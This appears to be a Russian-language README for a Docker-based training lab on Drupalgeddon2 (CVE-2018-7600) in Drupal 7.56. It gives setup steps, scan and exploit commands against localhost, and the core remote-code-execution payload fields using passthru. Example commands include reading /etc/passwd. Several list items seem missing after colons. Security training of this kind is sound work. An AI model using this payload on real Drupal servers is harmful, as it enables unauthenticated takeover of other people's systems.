
Учебная лаборатория, демонстрирующая удаленное выполнение кода (CVE-2018-7600, Drupalgeddon2) с использованием уязвимой среды Drupal 7.56 на основе Docker.
Образовательная лаборатория, демонстрирующая эксплуатацию уязвимости CVE-2018-7600 (Drupalgeddon2) с использованием уязвимой среды Drupal 7.56, развёрнутой с помощью Docker.
Этот проект моделирует реальный процесс оценки уязвимостей, включая:
CVE-2018-7600 (Drupalgeddon2) — это критическая уязвимость удалённого выполнения кода (RCE) в Drupal CMS.
Проблема заключается в Form API Drupal, где вводимые пользователем данные могут интерпретироваться как render-массивы, что позволяет злоумышленникам внедрять вредоносные обратные вызовы, такие как:
Это приводит к неаутентифицированному выполнению команд на сервере.
Attacker (Kali Linux)
|
| HTTP Requests
v
Drupal 7.56 (Vulnerable)
|
v
MySQL Database
cve-2018-7600-drupalgeddon2-lab
│
├── README.md
├── setup.md
├── scan.py
├── exploit.py
│
├── lab-setup/
│ └── docker-compose.yml
│
├── screenshots/
│ ├── drupal-dashboard.png
│ ├── drupal-version.png
│ └── rce-output.png
│
├── logs/
│ ├── scan_results.txt
│ └── exploit_log.txt
│
├── payloads/
│ └── payload-list.txt
│
├── report/
│ └── drupalgeddon2-report.pdf


git clone https://github.com/Meraj1312/cve-2018-7600-drupalgeddon2-lab.git
cd cve-2018-7600-drupalgeddon2-lab
docker compose up -d
http://localhost:8080
python3 scan.py http://localhost:8080
Пример вывода:
[~] Scanning http://localhost:8080... VULNERABLE
python3 exploit.py http://localhost:8080 id
Пример вывода:
uid=33(www-data) gid=33(www-data)
Базовая структура полезной нагрузки:
name[#post_render][]=passthru
name[#type]=markup
name[#markup]=whoami
Примеры команд:
whoami
id
cat /etc/passwd
Полный список полезных нагрузок доступен в:
payloads/payload-list.txt
Для поддержания чистой и профессиональной структуры репозитория:
Такое разделение обеспечивает:
Эта лаборатория предназначена для:
Этот проект предназначен только для образовательных и исследовательских целей.
Не пытайтесь эксплуатировать системы без явного разрешения.
Авторы не несут ответственности за неправильное использование.